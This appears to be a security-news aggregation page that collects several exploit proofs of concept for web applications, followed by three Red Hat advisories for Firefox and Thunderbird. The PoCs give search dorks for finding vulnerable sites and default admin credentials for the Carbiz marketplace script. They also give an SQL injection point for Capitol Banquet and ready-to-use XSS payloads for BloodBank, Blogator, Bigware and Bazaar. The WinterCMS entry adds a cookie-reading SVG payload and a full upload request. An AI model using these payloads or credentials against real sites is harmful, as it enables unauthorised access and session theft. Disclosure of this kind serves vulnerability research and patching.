Carbiz Buy Sell Car Marketplace Script version 1.2.0 appears to leave default credentials installed after installation.

    ======================================================================================================================================| # Title     : Carbiz - Buy Sell Car Marketplace Script V 1.2.0 Insecure Settings Vulnerability                                     || # Author    : indoushka                                                                                                            || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 61.0.1 (32-bit)                                              || # Vendor    : https://codecanyon.net/item/carbiz-buy-sell-car-marketplace-script/21803782                                          |  | # Dork      : "© Copyright 2018 Webhelios . All rights reserved"                                                                   |======================================================================================================================================poc :[+]  Dorking İn Google Or Other Search Enggine .[+]  appears to leave default credentials installed after installation.[+]  Use Admin : admin & Pass : 12345[+]  Panel http://127.0.0.1/veloxcarsalescom/index.php/en/admin/authGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

Carbiz Buy Sell Car Marketplace Script 1.2.0 Insecure Settings

Capitol Matrimonial Banquet Centre version 1.5 suffers from a remote SQL injection vulnerability.

    ====================================================================================================================================| # Title     : Capitol Matrimonial Banquet Centre v1.5 Sql injection Vulnerability                                                || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 66.0.2(64-bit)                                             || # Vendor    : http://www.capitolbanquet.com/                                                                                     |  | # Dork      : N/A                                                                                                                |====================================================================================================================================poc :[+]  Dorking İn Google Or Other Search Enggine .[+]  Use Payload :/admin/settings.php?aid=[+]  http://127.0.0.1/capitolbanquetcom/admin/settings.php?aid=40660<=====| inject hereGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

Capitol Matrimonial Banquet Centre 1.5 SQL Injection

WinterCMS versions prior to 1.2.3 suffer from a persistent cross site scripting vulnerability.

    # Exploit Title: WinterCMS < 1.2.3 - Persistent Cross-Site Scripting# Exploit Author: abhishek morla# Google Dork: N/A# Date: 2023-07-10# Vendor Homepage: https://wintercms.com/# Software Link: https://github.com/wintercms/winter# Version: 1.2.2# Tested on: windows64bit / mozila firefox # CVE : CVE-2023-37269# Report Link : https://github.com/wintercms/winter/security/advisories/GHSA-wjw2-4j7j-6gc3# Video POC : https://youtu.be/Dqhq8rdrcqcTitle : Application is Vulnerable to Persistent Cross-Site Scripting via SVG File Upload in Custom Logo Upload FunctionalityDescription :WinterCMS < 1.2.3 lacks restrictions on uploading SVG files as website logos, making it vulnerable to a Persistent cross-site scripting (XSS) attack. This vulnerability arises from the ability of an attacker to embed malicious JavaScript content within an SVG file, which remains visible to all users, including anonymous visitors. Consequently, any user interaction with the affected page can inadvertently trigger the execution of the malicious scriptPayload:- // image.svg<?xml version="1.0" standalone="no"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>   <script type="text/javascript">      alert(document.cookie);   </script></svg>//Post RequestPOST /backend/system/settings/update/winter/backend/branding HTTP/1.1Host: 172.17.0.2User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0Accept: application/jsonAccept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cacheX-Requested-With: XMLHttpRequestX-CSRF-TOKEN: fk93d30vmHCawwgMlTRy97vPOxaf4iPphtUwioc2X-WINTER-REQUEST-HANDLER: formLogo::onUploadContent-Type: multipart/form-data; boundary=---------------------------186411693022341939203410401206Content-Length: 608Origin: http://172.17.0.2Connection: closeCookie: admin_auth=eyJpdiI6IkV2dElCcWdsZStzWHc5cDVIcFZ1bnc9PSIsInZhbHVlIjoiVFkyV1k3UnBKUVNhSWF2NjVNclVCdXRwNklDQlFmenZXU2hUNi91T3c5aFRTTTR3VWQrVVJkZG5pcFZTTm1IMzFtZzkyWWpRV0FYRnJuZ1VoWXQ0Q2VUTGRScHhVcVRZdWtlSGYxa1kyZTh0RXVScFdySmF1VDZyZ1p0T1pYYWI5M1ZmVWtXUkhpeXg2U0l3NG9ZWHhnPT0iLCJtYWMiOiIyNzk0OTNlOWY2ODZhYjFhMGY0M2Y4Mzk0NjViY2FiOWQ0ZjNjMThlOTkxODZjYmFmNTZkZmY3MmZhMTM3YWJlIiwidGFnIjoiIn0%3D; BBLANG=en_US; winter_session=eyJpdiI6ImJFWHVEb0QrTmo5YjZYcml6Wm1jT3c9PSIsInZhbHVlIjoiQVdVZ3R4ajVUWUZXeS83dkhIQVFhVVYxOE1uajJQOVNzOUtwM1ZGcUFYOC9haHZFMlE2R0llNjZDWVR6eHZqbDZ5Z1J1akM5VkNaQUFZM1p5OGlZcjJFWTRaT21tRWdtcnJUUHJWRWg1QTZyRFhJbEdMc0h1SzZqaEphMFFSSDYiLCJtYWMiOiI0YzRkNWQwODVkMmI4ZmMxMTJlMGU5YjM2MWJkYjNiNjEwZmE2NTY4ZGQwYTdjNjAxMjRkMjRiN2M1NTBiOTNiIiwidGFnIjoiIn0%3D-----------------------------186411693022341939203410401206Content-Disposition: form-data; name="file_data"; filename="image.svg"Content-Type: image/svg+xml<?xml version="1.0" standalone="no"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>   <script type="text/javascript">      alert(document.domain);   </script></svg>-----------------------------186411693022341939203410401206--|-----------------------------------------EOF-----------------------------------------

WinterCMS 1.2.2 Cross Site Scripting

BloodBank version 1.0 suffers from a cross site scripting vulnerability.

    ======================================================================================================================================| # Title     : BloodBank v1.0 - Blood Donor Directory CMS with PayPal Integration XSS Vulnerability                                 || # Author    : indoushka                                                                                                            || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 66.0.2(64-bit)                                               || # Vendor    : https://codecanyon.net/item/bloodbank-blood-donor-directory-cms-with-paypal-integration/21188267                     |  | # Dork      : n/a                                                                                                                  |======================================================================================================================================poc :[+]  Dorking İn Google Or Other Search Enggine .[+]  use payload in search box: <script>alert(/indoushka/);</script>[+]  http://127.0.0.1/demosly.om/xicia/cc/bloodbank/Greetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

BloodBank 1.0 Cross Site Scripting

Blogator version 0.93 suffers from a cross site scripting vulnerability.

    ====================================================================================================================================| # Title     : Blogator script v 0.93 XSS Vulnerability                                                                           || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 66.0.2(64-bit)                                             || # Vendor    : http://www.blogator.net/                                                                                           |  | # Dork      : Weblogs par Blogator-script www.blogator-script.com © 2006 SAMTEK - Blogator                                       |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine [+] Use Payload : ?msg=Ce%2520pseudo%2520de%2520membre%2520est%2520inconnu%27%22%28%29%26%25%3CScRiPt%20%3Eprompt%28904707%29%3C/ScRiPt%3E[+] http://127.0.0.1//tst/?msg=Ce%2520pseudo%2520de%2520membre%2520est%2520inconnu%27%22%28%29%26%25%3CScRiPt%20%3Eprompt%28904707%29%3C/ScRiPt%3EGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

Blogator 0.93 Cross Site Scripting

Bigware Shop version 2.3 suffers from a cross site scripting vulnerability.

    ====================================================================================================================================| # Title     : Bigware Shop v2.3 XSS Vulnerability                                                                                || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 66.0.2(64-bit)                                             || # Vendor    : http://www.bigware.de/                                                                                             |  | # Dork      :                                                                                                                    |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine [+] Xss /Html inject Use Payload : /main_bigware_39.php?bigPfad=&items_id=67%27%22%28%29%26%25%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3Eindoushka%3C/font%3E%3C/marquee%3E[+] http://target_site/main_bigware_39.php?bigPfad=&items_id=67%27%22%28%29%26%25%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3Eindoushka%3C/font%3E%3C/marquee%3EGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

Bigware Shop 2.3 Cross Site Scripting

Bazaar Social Listing Shopping Web PHP Template version 2.3.2 suffers from a cross site scripting vulnerability.

    ====================================================================================================================================| # Title     : Bazaar Social Listing Shopping Web PHP Template v2.3.2 XSS Vulnerability                                           || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 66.0.2(32-bit)                                             | | # Vendor    : https://codecanyon.net/item/bazaar-social-listing-shopping-web-php-template/23207913?s_rank=87                     |  | # Dork      : "/ad-info.php?adObjID="                                                                                            |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Create New User Account.[+] Edit your account https://127.0.0.1/egyptdrinkscom/settings.php or Sell an item https://127.0.0.1/egyptdrinkscom/sell-edit-stuff.php[+] Put Your Payload xss/hrml .====Greetings to :=====================================================================================================================jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * djroot.dz * LiquidWorm* Hussin-X *D4NB4R * shadow_00715 * yasMouh     |=======================================================================================================================================

Bazaar Social Listing Shopping Web PHP Template 2.3.2 Cross Site Scripting

Red Hat Security Advisory 2023-4071-01 - Mozilla Firefox is an open-source web browser, designed for standards compliance, performance, and portability. This update upgrades Firefox to version 102.13.0 ESR. Issues addressed include a use-after-free vulnerability.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

=====================================================================  
                   Red Hat Security Advisory

Synopsis:          Important: firefox security update  
Advisory ID:       RHSA-2023:4071-01  
Product:           Red Hat Enterprise Linux  
Advisory URL:      https://access.redhat.com/errata/RHSA-2023:4071  
Issue date:        2023-07-13  
CVE Names:         CVE-2023-37201 CVE-2023-37202 CVE-2023-37207   
                   CVE-2023-37208 CVE-2023-37211   
=====================================================================

1. Summary:

An update for firefox is now available for Red Hat Enterprise Linux 9.

Red Hat Product Security has rated this update as having a security impact  
of Important. A Common Vulnerability Scoring System (CVSS) base score,  
which gives a detailed severity rating, is available for each vulnerability  
from the CVE link(s) in the References section.

2. Relevant releases/architectures:

Red Hat Enterprise Linux AppStream (v. 9) - aarch64, ppc64le, s390x, x86_64

3. Description:

Mozilla Firefox is an open-source web browser, designed for standards  
compliance, performance, and portability.

This update upgrades Firefox to version 102.13.0 ESR.

Security Fix(es):

* Mozilla: Use-after-free in WebRTC certificate generation (CVE-2023-37201)

* Mozilla: Potential use-after-free from compartment mismatch in  
SpiderMonkey (CVE-2023-37202)

* Mozilla: Memory safety bugs fixed in Firefox 115, Firefox ESR 102.13, and  
Thunderbird 102.13 (CVE-2023-37211)

* Mozilla: Fullscreen notification obscured (CVE-2023-37207)

* Mozilla: Lack of warning when opening Diagcab files (CVE-2023-37208)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

4. Solution:

For details on how to apply this update, which includes the changes  
described in this advisory, refer to:

https://access.redhat.com/articles/11258

After installing the update, Firefox must be restarted for the changes to  
take effect.

5. Bugs fixed (https://bugzilla.redhat.com/):

2219747 - CVE-2023-37201 Mozilla: Use-after-free in WebRTC certificate generation  
2219748 - CVE-2023-37202 Mozilla: Potential use-after-free from compartment mismatch in SpiderMonkey  
2219749 - CVE-2023-37207 Mozilla: Fullscreen notification obscured  
2219750 - CVE-2023-37208 Mozilla: Lack of warning when opening Diagcab files  
2219751 - CVE-2023-37211 Mozilla: Memory safety bugs fixed in Firefox 115, Firefox ESR 102.13, and Thunderbird 102.13

6. Package List:

Red Hat Enterprise Linux AppStream (v. 9):

Source:  
firefox-102.13.0-2.el9_2.src.rpm

aarch64:  
firefox-102.13.0-2.el9_2.aarch64.rpm  
firefox-debuginfo-102.13.0-2.el9_2.aarch64.rpm  
firefox-debugsource-102.13.0-2.el9_2.aarch64.rpm  
firefox-x11-102.13.0-2.el9_2.aarch64.rpm

ppc64le:  
firefox-102.13.0-2.el9_2.ppc64le.rpm  
firefox-debuginfo-102.13.0-2.el9_2.ppc64le.rpm  
firefox-debugsource-102.13.0-2.el9_2.ppc64le.rpm  
firefox-x11-102.13.0-2.el9_2.ppc64le.rpm

s390x:  
firefox-102.13.0-2.el9_2.s390x.rpm  
firefox-debuginfo-102.13.0-2.el9_2.s390x.rpm  
firefox-debugsource-102.13.0-2.el9_2.s390x.rpm  
firefox-x11-102.13.0-2.el9_2.s390x.rpm

x86_64:  
firefox-102.13.0-2.el9_2.x86_64.rpm  
firefox-debuginfo-102.13.0-2.el9_2.x86_64.rpm  
firefox-debugsource-102.13.0-2.el9_2.x86_64.rpm  
firefox-x11-102.13.0-2.el9_2.x86_64.rpm

These packages are GPG signed by Red Hat for security.  Our key and  
details on how to verify the signature are available from  
https://access.redhat.com/security/team/key/

7. References:

https://access.redhat.com/security/cve/CVE-2023-37201  
https://access.redhat.com/security/cve/CVE-2023-37202  
https://access.redhat.com/security/cve/CVE-2023-37207  
https://access.redhat.com/security/cve/CVE-2023-37208  
https://access.redhat.com/security/cve/CVE-2023-37211  
https://access.redhat.com/security/updates/classification/#important

8. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2023 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIcBAEBCAAGBQJkr/68AAoJENzjgjWX9erEVk0P/1NlxnG08loer9hNA9xaD3Cm  
tDuL5Y+7yihRbB+1FtUiGds2P4Fb41pZ4ywl94ppfTtChDJR46D4abB83df1RQor  
aaAEOokt57JcspcAvSdSgstVD3UBeGovWDsu4Fmb9kJ+sC7b94CR/bgVksTVPFtf  
lC+50PkZF80PSNfmlnfDAGQ1iE1Oy57uOmxb2Fq4uwmCv7vqNF+4U03d4Y70KRn9  
flF0SeoRNLUgvnf/l5xksvupy28cWkVO24ALopMYL0HYx57XS/tTlnYFn3EVQW3y  
TVuhpemtzS8cGjxL9R8rEv3zY616kl8SisoSk9dJmsU3DnZXw8oxj8SZNgXSrBE7  
D+3yssivhkfbyz29lYBGOZ2JW1Ng2k+0vxhLaNI0M9DSSgt+XLxNqB7VuZ7YlDTi  
v82NCaEiMuRjtc93NJrOhCKutA48EOI27/tHHkKwM7PdX7nTM4s5O5cMEaHIBEsY  
C/8XVOsLOV4q0YpuuV4dTrmbmwMZBdUNieJpo+0udtECmFytfOz6Xv4uNOXfR8Bk  
KEA50jtqxJQltBmhxd6xD2gGxGO6H+Vp8waCez2XXVexyHO58ryM3xqIc9R0D4ET  
3EFchhNaRf7ZoxAirHxOWYvohQ/fFXdMb9RVaJrl8+57u72+IdwX1uk8uGWlMt9q  
eVdO/YfLVI5SpRlM4VQO  
=4tW+  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Red Hat Security Advisory 2023-4071-01

Red Hat Security Advisory 2023-4066-01 - Mozilla Thunderbird is a standalone mail and newsgroup client. This update upgrades Thunderbird to version 102.13.0. Issues addressed include a use-after-free vulnerability.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

=====================================================================  
                   Red Hat Security Advisory

Synopsis:          Important: thunderbird security update  
Advisory ID:       RHSA-2023:4066-01  
Product:           Red Hat Enterprise Linux  
Advisory URL:      https://access.redhat.com/errata/RHSA-2023:4066  
Issue date:        2023-07-13  
CVE Names:         CVE-2023-37201 CVE-2023-37202 CVE-2023-37207   
                   CVE-2023-37208 CVE-2023-37211   
=====================================================================

1. Summary:

An update for thunderbird is now available for Red Hat Enterprise Linux 9.0  
Extended Update Support.

Red Hat Product Security has rated this update as having a security impact  
of Important. A Common Vulnerability Scoring System (CVSS) base score,  
which gives a detailed severity rating, is available for each vulnerability  
from the CVE link(s) in the References section.

2. Relevant releases/architectures:

Red Hat Enterprise Linux AppStream EUS (v.9.0) - aarch64, ppc64le, s390x, x86_64

3. Description:

Mozilla Thunderbird is a standalone mail and newsgroup client.

This update upgrades Thunderbird to version 102.13.0.

Security Fix(es):

* Mozilla: Use-after-free in WebRTC certificate generation (CVE-2023-37201)

* Mozilla: Potential use-after-free from compartment mismatch in  
SpiderMonkey (CVE-2023-37202)

* Mozilla: Memory safety bugs fixed in Firefox 115, Firefox ESR 102.13, and  
Thunderbird 102.13 (CVE-2023-37211)

* Mozilla: Fullscreen notification obscured (CVE-2023-37207)

* Mozilla: Lack of warning when opening Diagcab files (CVE-2023-37208)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

4. Solution:

For details on how to apply this update, which includes the changes  
described in this advisory, refer to:

https://access.redhat.com/articles/11258

All running instances of Thunderbird must be restarted for the update to  
take effect.

5. Bugs fixed (https://bugzilla.redhat.com/):

2219747 - CVE-2023-37201 Mozilla: Use-after-free in WebRTC certificate generation  
2219748 - CVE-2023-37202 Mozilla: Potential use-after-free from compartment mismatch in SpiderMonkey  
2219749 - CVE-2023-37207 Mozilla: Fullscreen notification obscured  
2219750 - CVE-2023-37208 Mozilla: Lack of warning when opening Diagcab files  
2219751 - CVE-2023-37211 Mozilla: Memory safety bugs fixed in Firefox 115, Firefox ESR 102.13, and Thunderbird 102.13

6. Package List:

Red Hat Enterprise Linux AppStream EUS (v.9.0):

Source:  
thunderbird-102.13.0-2.el9_0.src.rpm

aarch64:  
thunderbird-102.13.0-2.el9_0.aarch64.rpm  
thunderbird-debuginfo-102.13.0-2.el9_0.aarch64.rpm  
thunderbird-debugsource-102.13.0-2.el9_0.aarch64.rpm

ppc64le:  
thunderbird-102.13.0-2.el9_0.ppc64le.rpm  
thunderbird-debuginfo-102.13.0-2.el9_0.ppc64le.rpm  
thunderbird-debugsource-102.13.0-2.el9_0.ppc64le.rpm

s390x:  
thunderbird-102.13.0-2.el9_0.s390x.rpm  
thunderbird-debuginfo-102.13.0-2.el9_0.s390x.rpm  
thunderbird-debugsource-102.13.0-2.el9_0.s390x.rpm

x86_64:  
thunderbird-102.13.0-2.el9_0.x86_64.rpm  
thunderbird-debuginfo-102.13.0-2.el9_0.x86_64.rpm  
thunderbird-debugsource-102.13.0-2.el9_0.x86_64.rpm

These packages are GPG signed by Red Hat for security.  Our key and  
details on how to verify the signature are available from  
https://access.redhat.com/security/team/key/

7. References:

https://access.redhat.com/security/cve/CVE-2023-37201  
https://access.redhat.com/security/cve/CVE-2023-37202  
https://access.redhat.com/security/cve/CVE-2023-37207  
https://access.redhat.com/security/cve/CVE-2023-37208  
https://access.redhat.com/security/cve/CVE-2023-37211  
https://access.redhat.com/security/updates/classification/#important

8. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2023 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIcBAEBCAAGBQJkr/6yAAoJENzjgjWX9erEyb8QAJtQYsK0FkGTQ8ebQEgG1t09  
dcFuoQYceIly60LAJYSN7VRUs1bsvpYfhHfg5y2DnRxGDNTB9vGDKO+8SgkrTXhW  
zwR7FVel75ekcD1epP/RKlpIoV8R8Ldygg46zU2+QcpW86RPbsz/NcizWUFjnhmZ  
cefTCHVZnLm5DHlvo6ci3mWTOBgLxNaLtcxe21ptM1zvMmk+OcPFoEQzKl3hf1nW  
0J+5Z7z/YS3zrmYa6axtbgFefzRtBDfPZy+jdK3x7u77weIF8Jo4XU681hogODmD  
eXt1O3YI5VsTyrt2r2TlaF0dWENi5nPaqeA4TswLFTNLmkHPePMoMSuYr5ZPoITq  
dfa96hHmeR8KTx51l/nxdpIxK1gmq49KygBpe73omzLWEXIrBzZ9V78GzbI9Nvna  
PtwpPt8faP18XpYzhciC03vFfamZDInecqdo+bb3xwud5YO5Z/3FscLBN2B9fkU/  
CAjgjP9lmfNF8nBdTxTIh2VY1IjzTWtp+V9kdg37MZLlgsurd5b1DAAm2N2BoK7h  
Vt2bp4IRO548MRFoGtch9bBwZRcqYJoDqzH/zg1sOoqzLh4LD64Ad5PfvH+M9Wb/  
kxddXDk3+hiS116yzorH7Whpk4rV8iv2C25u8g9mPCwXgHbGT0U1JZcXiiP2seHA  
rT9J2X/9kjA4dy2P3+SI  
=lKM1  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Red Hat Security Advisory 2023-4066-01

Red Hat Security Advisory 2023-4062-01 - Mozilla Thunderbird is a standalone mail and newsgroup client. This update upgrades Thunderbird to version 102.13.0. Issues addressed include a use-after-free vulnerability.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

=====================================================================  
                   Red Hat Security Advisory

Synopsis:          Important: thunderbird security update  
Advisory ID:       RHSA-2023:4062-01  
Product:           Red Hat Enterprise Linux  
Advisory URL:      https://access.redhat.com/errata/RHSA-2023:4062  
Issue date:        2023-07-13  
CVE Names:         CVE-2023-37201 CVE-2023-37202 CVE-2023-37207   
                   CVE-2023-37208 CVE-2023-37211   
=====================================================================

1. Summary:

An update for thunderbird is now available for Red Hat Enterprise Linux 7.

Red Hat Product Security has rated this update as having a security impact  
of Important. A Common Vulnerability Scoring System (CVSS) base score,  
which gives a detailed severity rating, is available for each vulnerability  
from the CVE link(s) in the References section.

2. Relevant releases/architectures:

Red Hat Enterprise Linux Client (v. 7) - x86_64  
Red Hat Enterprise Linux Server Optional (v. 7) - ppc64le, x86_64  
Red Hat Enterprise Linux Workstation (v. 7) - x86_64

3. Description:

Mozilla Thunderbird is a standalone mail and newsgroup client.

This update upgrades Thunderbird to version 102.13.0.

Security Fix(es):

* Mozilla: Use-after-free in WebRTC certificate generation (CVE-2023-37201)

* Mozilla: Potential use-after-free from compartment mismatch in  
SpiderMonkey (CVE-2023-37202)

* Mozilla: Memory safety bugs fixed in Firefox 115, Firefox ESR 102.13, and  
Thunderbird 102.13 (CVE-2023-37211)

* Mozilla: Fullscreen notification obscured (CVE-2023-37207)

* Mozilla: Lack of warning when opening Diagcab files (CVE-2023-37208)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

4. Solution:

For details on how to apply this update, which includes the changes  
described in this advisory, refer to:

https://access.redhat.com/articles/11258

All running instances of Thunderbird must be restarted for the update to  
take effect.

5. Bugs fixed (https://bugzilla.redhat.com/):

2219747 - CVE-2023-37201 Mozilla: Use-after-free in WebRTC certificate generation  
2219748 - CVE-2023-37202 Mozilla: Potential use-after-free from compartment mismatch in SpiderMonkey  
2219749 - CVE-2023-37207 Mozilla: Fullscreen notification obscured  
2219750 - CVE-2023-37208 Mozilla: Lack of warning when opening Diagcab files  
2219751 - CVE-2023-37211 Mozilla: Memory safety bugs fixed in Firefox 115, Firefox ESR 102.13, and Thunderbird 102.13

6. Package List:

Red Hat Enterprise Linux Client (v. 7):

Source:  
thunderbird-102.13.0-2.el7_9.src.rpm

x86_64:  
thunderbird-102.13.0-2.el7_9.x86_64.rpm  
thunderbird-debuginfo-102.13.0-2.el7_9.x86_64.rpm

Red Hat Enterprise Linux Server Optional (v. 7):

Source:  
thunderbird-102.13.0-2.el7_9.src.rpm

ppc64le:  
thunderbird-102.13.0-2.el7_9.ppc64le.rpm  
thunderbird-debuginfo-102.13.0-2.el7_9.ppc64le.rpm

x86_64:  
thunderbird-102.13.0-2.el7_9.x86_64.rpm  
thunderbird-debuginfo-102.13.0-2.el7_9.x86_64.rpm

Red Hat Enterprise Linux Workstation (v. 7):

Source:  
thunderbird-102.13.0-2.el7_9.src.rpm

x86_64:  
thunderbird-102.13.0-2.el7_9.x86_64.rpm  
thunderbird-debuginfo-102.13.0-2.el7_9.x86_64.rpm

These packages are GPG signed by Red Hat for security.  Our key and  
details on how to verify the signature are available from  
https://access.redhat.com/security/team/key/

7. References:

https://access.redhat.com/security/cve/CVE-2023-37201  
https://access.redhat.com/security/cve/CVE-2023-37202  
https://access.redhat.com/security/cve/CVE-2023-37207  
https://access.redhat.com/security/cve/CVE-2023-37208  
https://access.redhat.com/security/cve/CVE-2023-37211  
https://access.redhat.com/security/updates/classification/#important

8. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2023 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIcBAEBCAAGBQJkr/6mAAoJENzjgjWX9erEhuoP/20EVMOx6edjLyXlxJ2nWCoZ  
OIZdOv5pCeZGx8C7cuznSUTerQRfvOtMLcrcQQ1QdqArbO1+ADpou7FgRGgGBHjH  
oeFOluQFl2UCmXgj3Llg2hwiVJbbIoIFPoGEUeoIVnB9m6iA20eXdiOPgZqRaPg8  
44vt/H++81ORygFHoVQfFWJhvz/COyyxOT2+zcdD9Q01G0EviH5l605FvH4mxayI  
hfbneE72RQMJS+lwu9TQ26zKe0hBOoXvAqF433XrLlGlv2NiWLyXvXy6mw2Btl6B  
aJxyaXRSMBx6EDEGaNe+Xv3W2JSfeSfD/zPpBsHevenZzIKFizJtwtvIuziAtN7V  
NSehQlSMUk3pIH6ZXOOj+5PTODBPTGdrirLtht0uWrEJFqhzz51sDHRKnkukNYeV  
TDHcgb7Qi3qHD1/Cw9AFJn8QPEn8PsPP2OW7h51sW196tro1q54DIHGlJc1JYeFL  
bRwpLoJ0lfdMtpW1jDNioaLUQymYuA7DNnS8w6LXnDk/xKzNZBCSGTooknRQ1yyk  
Ma1l43Ffo+/9g+/bPt4SdZ3+5qaMwV8n+bvktn6wzoNMV+/iptxFVAmkzHqj8O/n  
XDXsvDp7Bmk9wCtqFANITbb8++zQ4Sj9vHlIFwLYLgOjU4Km5O4zNt1I9rf8aPiZ  
m9wu6qojPPvyRiwgtlep  
=JbVs  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Tag

#firefox